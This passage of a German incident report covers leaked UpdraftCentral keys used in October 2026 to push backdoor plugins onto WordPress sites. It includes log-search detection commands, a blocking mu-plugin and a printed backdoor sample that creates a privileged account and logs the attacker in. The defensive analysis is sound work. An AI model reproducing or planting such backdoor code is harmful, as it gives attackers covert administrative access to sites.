style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code> hei\u00dft pr\u00fcfen, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code> ist ein sauberes Ergebnis. Ein protokollierter Befehl hei\u00dft noch nicht, dass das Plugin installiert wurde (auf einer unserer Websites wurde es das nicht), deshalb pr\u00fcft das Skript auch Dateien, Datenbankoptionen und Konten. Meldet es etwas mit <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code>, lesen Sie weiter bei \u201eWas tun, wenn Sie sie finden\u201c.<\/p>\n<p>UpdraftPlus speichert im UpdraftCentral-Log nur die letzten 50 Ereignisse. Auf einer Website, die Scanner h\u00e4ufig besuchen, kann der Eintrag \u00fcber den Angriff aus dem Log fallen, und das Skript meldet dann beim Log <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code>. Wenn Sie Zugriff auf die Logs des Webservers haben, durchsuchen Sie auch diese (Pfad an Ihren Server anpassen, bei nginx etwa <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">\/var\/log\/nginx\/<\/code>):<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">grep &#39;class-udrpc.php&quot;&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<p>Der Befehl findet UpdraftCentral-Anfragen ohne Bibliotheksversion im User-Agent-Header, wie sie der Angreifer geschickt hat. Das echte Dashboard sendet <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, der Befehl erfasst es also nicht.<\/p>\n<p>Die funktionierende Variante der Hintert\u00fcr hinterl\u00e4sst in der Datenbank wom\u00f6glich gar keine Spur: Ohne den Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> meldet sie den Angreifer als vorhandenen Administrator an. Suchen Sie im Access-Log daher auch nach Anfragen an die Ausl\u00f6ser beider Varianten:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">zgrep -E &#39;[?&amp;](_[0-9a-f]{6}|[0-9a-f]{12})=[^&amp;&quot; ]{32}[&amp; ]&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<p>Pr\u00fcfen Sie jede gefundene Zeile. Status 302 bedeutet eine Weiterleitung in den Admin, also wahrscheinlich eine erfolgreiche Anmeldung des Angreifers. Status 500 bedeutet, dass die fehlerhafte Variante noch auf der Website ist. Status 200 mit der \u00fcblichen Seitengr\u00f6\u00dfe bedeutet, dass die Hintert\u00fcr nicht mehr da ist. <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">zgrep<\/code> durchsucht auch \u00e4ltere komprimierte Logs.<\/p>\n<h3 id=\"optional-sperren-sie-updraftcentral-befehle-vollst\u00e4ndig\">3. Optional: Sperren Sie UpdraftCentral-Befehle vollst\u00e4ndig<\/h3>\n<p>Wenn Sie sicher sein wollen, dass die Website keinen UpdraftCentral-Befehl ausf\u00fchrt, selbst wenn noch ein Schl\u00fcssel darauf liegt, speichern Sie im Verzeichnis <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/mu-plugins\/<\/code> eine Datei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">block-updraftcentral.php<\/code> mit diesem Inhalt:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST[&#39;udrpc_message&#39;] ) ) {\n\thttp_response_code( 403 );\n\texit;\n}<\/code><\/pre>\n<p>WordPress l\u00e4dt Dateien in <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> vor den regul\u00e4ren Plugins, die Anfrage endet also, bevor UpdraftPlus sie verarbeitet. Das sperrt auch die Migration von Websites \u00fcber UpdraftPlus Migrator, der denselben Kanal nutzt. L\u00f6schen Sie die Datei, sobald der Hersteller das Problem erkl\u00e4rt und behoben hat.<\/p>\n<p>Ein weiterer g\u00fcnstiger Schutz: Kann PHP nicht in <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/plugins<\/code> schreiben (zum Beispiel anderer Eigent\u00fcmer des Verzeichnisses und Rechte 750), nimmt die Website den signierten Befehl zwar an, die Plugin-Installation schl\u00e4gt aber fehl. Auf einer der betroffenen Websites hat das den Angriff gestoppt. Plugins m\u00fcssen dann anders aktualisiert werden, etwa per WP-CLI als Eigent\u00fcmer des Verzeichnisses.<\/p>\n<p>Wenn Sie Wordfence nutzen, aktualisieren Sie die Firewall-Regeln (Wordfence \u2192 Firewall \u2192 All Firewall Options \u2192 Manually Refresh Rules). Wordfence hat eine Regel ver\u00f6ffentlicht, die UpdraftCentral-Befehle blockiert, auch f\u00fcr die kostenlose Version. Die Regel gilt aber nur f\u00fcr UpdraftPlus bis 1.26.11 und vor 2.26.12; eine auf 1.26.12 \/ 2.26.12 aktualisierte Website sch\u00fctzt sie also nicht mehr, obwohl diese Versionen die Schl\u00fcssel nicht l\u00f6schen. Aktualisieren Sie daher direkt auf 1.26.13 \/ 2.26.13.<\/p>\n<h2 id=\"wie-wir-darauf-gesto\u00dfen-sind\">Wie wir darauf gesto\u00dfen sind<\/h2>\n<p>Um 5:38 erhielten wir eine automatische WordPress-E-Mail: \u201eWordPress caught an error with one of your plugins, Load Stack 35C.\u201c Ein Plugin dieses Namens hatten wir nie installiert. Die Fehlermeldung lautete <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code>, und seit 4:14 beantwortete unsere Website jede Anfrage mit Fehler 500.<\/p>\n<p>Alle Dateien im Verzeichnis <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/plugins\/load-stack-35c\/<\/code> hatten dieselbe \u00c4nderungszeit, 4:14:30. Eine Sekunde sp\u00e4ter \u00e4nderte sich das Verzeichnis <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/upgrade\/<\/code>, das WordPress zum Entpacken installierter Plugins nutzt. Das Plugin kam also \u00fcber den regul\u00e4ren WordPress-Installer, nicht als auf die Platte gelegte Datei. Genau in dieser Sekunde steht im Access-Log eine einzige Anfrage:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] &quot;POST \/ HTTP\/1.1&quot; 200 8454 &quot;-&quot; &quot;WordPress\/6.4; class-udrpc.php&quot;<\/code><\/pre>\n<p><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php<\/code> ist die Bibliothek, \u00fcber die UpdraftPlus Befehle von UpdraftCentral empf\u00e4ngt. Ihr eigenes Log (die Datenbankoption <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftcentral_client_log<\/code>) best\u00e4tigte es: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code>.<\/p>\n<h2 id=\"zeitablauf\">Zeitablauf<\/h2>\n<p>Wir bezeichnen die Websites als A, B und C. Alle Zeiten in MESZ. Alle Anfragen kamen von <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> (Hoster RedSwitches) mit dem User-Agent-Header <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n<table>\n<thead>\n<tr class=\"header\">\n<th>Website<\/th>\n<th>Sondierung<\/th>\n<th>Plugin-Installation<\/th>\n<th>Ergebnis<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Website C<\/td>\n<td>19.10. 0:41:32<\/td>\n<td>6:05:31<\/td>\n<td>gescheitert, der Schl\u00fcssel geh\u00f6rte einem Benutzer ohne Recht, Plugins zu installieren<\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Website A<\/td>\n<td>2:14:05<\/td>\n<td>4:14:30<\/td>\n<td>Hintert\u00fcr \u201eLoad Stack 35C\u201c aktiv, Website bis 6:13 nicht erreichbar<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Website B<\/td>\n<td>2:39:44<\/td>\n<td>6:53:49<\/td>\n<td>Hintert\u00fcr \u201eText Gantry Eb0\u201c aktiv, um 6:56 entfernt<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Die Sondierung ist eine Nachricht an einen nicht existierenden Schl\u00fcssel, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code>. Die Website antwortet, dass sie die Nachricht nicht versteht, und verr\u00e4t damit, dass sie UpdraftCentral-Befehle annimmt. Den n\u00e4chsten Befehl schickte der Angreifer bereits an den echten Schl\u00fcssel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0.central.updraftplus.com<\/code>. Auf allen drei Websites lief der Angriff gleich ab, vom selben Angreifer, im Abstand weniger Stunden.<\/p>\n<p>Ein anderer Administrator schickte uns Logs, nach denen dieselbe IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> auf zwei seiner Websites schon am 23. September 2026 andere Angriffe versuchte: eine REST-API-Abfrage der Seitenliste und etwa zehn Path-Traversal-Versuche im Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pagename<\/code>. Der Angreifer hat diese Websites also fast einen Monat vor dem Angriff \u00fcber UpdraftCentral ausgekundschaftet.<\/p>\n<p>Der Angreifer kam zur\u00fcck. Am 19. Oktober erreichten weitere UpdraftCentral-Anfragen Website A um 10:57:48, Website B um 11:14:19 und Website C um 12:03:14, jeweils zwei in derselben Sekunde, und Website C noch einmal um 20:27:50. Unser mu-Plugin hat sie alle bereits mit 403 abgewiesen, daher wissen wir nicht, was sie enthielten. Ein anderer Administrator schickte uns sein UpdraftCentral-Log, in dem der Angreifer um 12:22:48 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.delete_plugin<\/code> und um 12:22:50 ein neues <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> schickte und so die fehlerhafte Hintert\u00fcr durch eine andere ersetzte. Unsere Anfragepaare geh\u00f6ren wahrscheinlich zu demselben Austausch. UpdraftPlus schreibt jeden Befehl, der die Signaturpr\u00fcfung besteht, noch vor der Ausf\u00fchrung als \u201eCommand received\u201c ins UpdraftCentral-Log (gepr\u00fcft im Code der Version 2.26.11). Das Log beh\u00e4lt aber nur die letzten 50 Ereignisse, und vom mu-Plugin gestoppte Anfragen stehen nicht darin.<\/p>\n<p>Auf der Website eines weiteren Administrators schickte der Angreifer die Sondierung am 18.10. um 23:10:30 MESZ und lud danach drei verschiedene Hintert\u00fcren hoch: um 23:39:52 die versteckte minimale \u201eSite Health Cache\u201c, um 0:34:34 die funktionierende \u201eFast2engine\u201c und am 19.10. um 9:28:47 die fehlerhafte \u201ePost Dock 776\u201c. Ein Anfragepaar um 11:40:45 und 11:40:46 scheiterte dort mit Fehler 500, weil die fehlerhafte Hintert\u00fcr bereits die ganze Website abst\u00fcrzen lie\u00df. Der Angreifer schickt also nicht immer zuerst die fehlerhafte Variante, und eine Website kann mehrere Hintert\u00fcren erhalten.<\/p>\n<h2 id=\"wie-der-angriff-ablief\">Wie der Angriff ablief<\/h2>\n<p>Beim Verbinden mit UpdraftCentral erzeugt die Website ein RSA-Schl\u00fcsselpaar und schickt den \u00f6ffentlichen Schl\u00fcssel an den Dienst UpdraftCentral Cloud. Der Dienst hat ein eigenes Schl\u00fcsselpaar und schickt der Website nur seinen \u00f6ffentlichen Schl\u00fcssel. Der private Schl\u00fcssel des Dashboards bleibt beim Dienst. Jeder Befehl muss f\u00fcr den Schl\u00fcssel der Website verschl\u00fcsselt und mit dem privaten Schl\u00fcssel des Dashboards signiert sein. Die Website f\u00fchrt ihn dann mit den Rechten des Benutzers aus, der den Schl\u00fcssel in WordPress angelegt hat.<\/p>\n<p>Der Befehl <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> bestand auf zwei Websites diese gesamte Pr\u00fcfung. Website A haben wir im Detail untersucht und folgende Erkl\u00e4rungen ausgeschlossen:<\/p>\n<ol type=\"1\">\n<li><strong>Die bekannte Schwachstelle CVE-2026-10795.<\/strong> Sie betrifft UpdraftPlus bis 1.26.4 (Premium bis 2.26.4). Unsere Websites liefen mit 2.26.11. Ausnutzungsversuche sehen wir in den Logs der Websites B und C seit Juni, von Dutzenden IP-Adressen, und alle endeten mit \u201eCould not decrypt incoming message\u201c.<\/li>\n<li><strong>Ein ver\u00e4ndertes Plugin.<\/strong> Die Dateien <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc2.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/bootstrap.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/listener.php<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/host.php<\/code> sind Byte f\u00fcr Byte identisch mit der offiziellen Version 1.26.11 von wordpress.org.<\/li>\n<li><strong>Das \u00e4ltere unsignierte Nachrichtenformat.<\/strong> Der Code lehnt es f\u00fcr UpdraftCentral-Schl\u00fcssel ab, und der Eintrag \u201eCommand received\u201c entsteht erst nach dieser Pr\u00fcfung.<\/li>\n<li><strong>Ein untergeschobener Dashboard-Schl\u00fcssel.<\/strong> Die Schl\u00fcssel-Fingerabdr\u00fccke sind in den t\u00e4glichen Backups vom 15. bis 18. Oktober und in der Live-Datenbank gleich, und in den Access-Logs hat niemand die Funktion zum Schl\u00fcsseltausch aufgerufen.<\/li>\n<li><strong>Schwache Kryptografie.<\/strong> Website- und Dashboard-Schl\u00fcssel sind RSA mit 2048 Bit und Exponent 65537, und UpdraftPlus enth\u00e4lt phpseclib 2.0.55, in dem der bekannte Fehler bei der Signaturpr\u00fcfung behoben ist.<\/li>\n<li><strong>Ein kompromittierter wp-admin.<\/strong> Es sind keine unbekannten Administratoren hinzugekommen, die Pr\u00fcfsummen von Kern und Plugins stimmen, und die Logs zeigen keinen Plugin-Upload \u00fcber den Admin.<\/li>\n<\/ol>\n<p>Der Angreifer besa\u00df also die privaten Dashboard-Schl\u00fcssel aller drei Verbindungen gleichzeitig. Auf unseren Servern waren diese Schl\u00fcssel nie, sie konnten von dort also nicht abflie\u00dfen. Die Befehle kamen auch nicht von einem Server von TeamUpdraft. Das echte Dashboard schickte im M\u00e4rz und April 2026 Befehle an Website B mit diesem User-Agent-Header:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\n<p>Der Angreifer schickte <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, ohne Bibliotheksversion und ohne URL, von seinem eigenen Server. Die Schl\u00fcssel sind also aus der Umgebung von UpdraftCentral Cloud abgeflossen, und der Angreifer hat sie au\u00dferhalb davon verwendet.<\/p>\n<p>TeamUpdraft best\u00e4tigte am 19. Oktober, dass ein Angreifer am Wochenende des 17. und 18. Oktober Zugriff auf teamupdraft.com und wahrscheinlich auch auf die Kundendatenbank einschlie\u00dflich der UpdraftCentral-Schl\u00fcssel hatte. Die Schl\u00fcssel sind also aus der Infrastruktur des Herstellers abgeflossen. Das passt zum Zeitablauf: Die Schl\u00fcssel f\u00fcr die Websites B und C existierten seit November 2025, und der Angreifer verwendete sie erst in der Nacht vom 18. auf den 19. Oktober, also direkt nach dem Einbruch. Wie der Angreifer in teamupdraft.com eingedrungen ist, hat der Hersteller nicht mitgeteilt.<\/p>\n<p>Auf Website C scheiterte der Angriff durch Zufall. Den Schl\u00fcssel hatte dort im November 2025 ein Benutzer angelegt, der kein Administrator mehr ist. Vor der Installation pr\u00fcft UpdraftCentral, ob der Eigent\u00fcmer des Schl\u00fcssels die Rechte <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">activate_plugins<\/code> hat. Er hatte keines davon.<\/p>\n<h2 id=\"warum-das-ein-kritisches-updraftcentral-problem-ist\">Warum das ein kritisches UpdraftCentral-Problem ist<\/h2>\n<p>Der UpdraftCentral-Client ist Teil jeder Kopie von UpdraftPlus, kostenlos wie Premium. Er wird aktiv, sobald der Betreiber die Website mit dem Dashboard verbindet. Ab dann f\u00fchrt die Website jeden mit dem Dashboard-Schl\u00fcssel signierten Befehl mit den Rechten des Administrators aus, der die Verbindung angelegt hat, einschlie\u00dflich Upload und Aktivierung beliebiger Plugins. Der Betreiber best\u00e4tigt den Befehl nicht, und in unserem Fall hat uns nichts darauf hingewiesen. Die Schl\u00fcssel auf der Website haben kein Ablaufdatum: Die vom November 2025 funktionierten auch im Oktober 2026, und ein anderer Administrator meldet missbrauchte Schl\u00fcssel vom Februar und M\u00e4rz 2022. Das Alter eines Schl\u00fcssels sch\u00fctzt also nicht. Missbraucht wurde auch der Schl\u00fcssel von Website A, angelegt am 10.10.2026. Ein anderer Administrator bemerkte, dass der Angreifer eine Testkopie einer Website mit demselben Schl\u00fcssel, aber anderer Adresse in Ruhe lie\u00df. Der Angreifer arbeitete also offenbar mit der Liste der Websites, die nur UpdraftCentral hat.<\/p>\n<p>Die Sicherheit aller verbundenen Websites h\u00e4ngt damit an einer einzigen Annahme: dass die privaten Dashboard-Schl\u00fcssel nicht abflie\u00dfen. Sie sind abgeflossen, und der Angreifer hat von einem Ort aus innerhalb weniger Stunden zwei Websites \u00fcbernommen und es bei einer dritten versucht. UpdraftPlus hat \u00fcber 4 Millionen aktive Installationen. Unter den Backup-Plugins auf wordpress.org hat nur All-in-One WP Migration (5+ Millionen) mehr Installationen, und das ist vor allem ein Migrationswerkzeug. Nur ein Teil der UpdraftPlus-Nutzer verwendet UpdraftCentral, aber auch ein kleiner Anteil von 4 Millionen sind viele Websites.<\/p>\n<p>Derselbe Kanal hat schon einmal versagt. Im Juni 2026 behob der Hersteller die Schwachstelle CVE-2026-10795 (CVSS 8.1), \u00fcber die ein Angreifer ohne Anmeldung UpdraftCentral-Befehle f\u00e4lschen und ein sch\u00e4dliches Plugin installieren und aktivieren konnte. Ausnutzungsversuche fangen wir in unseren Logs bis heute ab.<\/p>\n<h2 id=\"was-die-hintert\u00fcr-genau-tut\">Was die Hintert\u00fcr genau tut<\/h2>\n<p>Das Plugin hat f\u00fcnf Dateien, Logik enth\u00e4lt aber nur die Hauptdatei. Hier der relevante Teil der Probe von Website A. Token und Passwort haben wir gek\u00fcrzt:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">define( &#39;LOADSTACK35C_TOKEN&#39;, &#39;j0j8nxxH\u2026&#39; );      \/\/ 32 Zeichen\ndefine( &#39;LOADSTACK35C_FIELD&#39;, &#39;_9f5696&#39; );\ndefine( &#39;LOADSTACK35C_SVC_LOGIN&#39;, &#39;data-ops43&#39; );\ndefine( &#39;LOADSTACK35C_SVC_PASS&#39;, &#39;L7sfkZMw\u2026&#39; );    \/\/ 22 Zeichen\n\nfinal class LoadStack35c {\n\tprivate function __construct() {\n\t\tadd_action( &#39;init&#39;, array( $this, &#39;handle_sync&#39; ), 1 );\n\t}\n\n\tpublic function handle_sync() {\n\t\tif ( isset( $_GET[ self::FIELD ] ) &amp;&amp; hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n\t\t\t$user = get_user_by( &#39;login&#39;, self::SVC_LOGIN );\n\t\t\tif ( ! $user ) {\n\t\t\t\t$uid = wp_insert_user( array(\n\t\t\t\t\t&#39;user_login&#39;   =&gt; self::SVC_LOGIN,\n\t\t\t\t\t&#39;user_pass&#39;    =&gt; self::SVC_PASS,\n\t\t\t\t\t&#39;user_email&#39;   =&gt; self::SVC_LOGIN . &#39;@example.org&#39;,\n\t\t\t\t\t&#39;display_name&#39; =&gt; &#39;Site Tools&#39;,\n\t\t\t\t\t&#39;role&#39;         =&gt; &#39;editor&#39;,\n\t\t\t\t) );\n\t\t\t\tif ( is_wp_error( $uid ) ) return;\n\t\t\t\t$u = new WP_User( $uid );\n\t\t\t\t$u-&gt;add_cap( &#39;manage_options&#39; );\n\t\t\t\t$u-&gt;add_cap( &#39;install_plugins&#39; );\n\t\t\t\t$user = get_user_by( &#39;id&#39;, $uid );\n\t\t\t}\n\t\t\twp_set_current_user( $user-&gt;ID, $user-&gt;user_login );\n\t\t\twp_set_auth_cookie( $user-&gt;ID, true, is_ssl() );\n\t\t\twp_safe_redirect( admin_url( &#39;index.php&#39; ) );\n\t\t\texit;\n\t\t}\n\t}\n}\n\nregister_activation_hook( __FILE__, function () {\n\tif ( ! get_option( &#39;load_stack_35c_sync_token&#39; ) ) {\n\t\tupdate_option( &#39;load_stack_35c_sync_token&#39;, &#39;j0j8nxxH\u2026&#39;, false );\n\t}\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\n<p>So w\u00fcrde es funktionieren, wenn es keinen Fehler enthielte:<\/p>\n<ol type=\"1\">\n<li>Bei jeder Anfrage an die Website h\u00e4ngt es sich mit Priorit\u00e4t 1 an die Aktion <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code>, also fr\u00fcher als die meisten anderen Plugins.<\/li>\n<li>Es pr\u00fcft, ob die URL den Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?_9f5696=<\/code> enth\u00e4lt, und vergleicht dessen Wert mit einem 32-stelligen Token. Es vergleicht mit <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hash_equals<\/code>, das unabh\u00e4ngig von einer 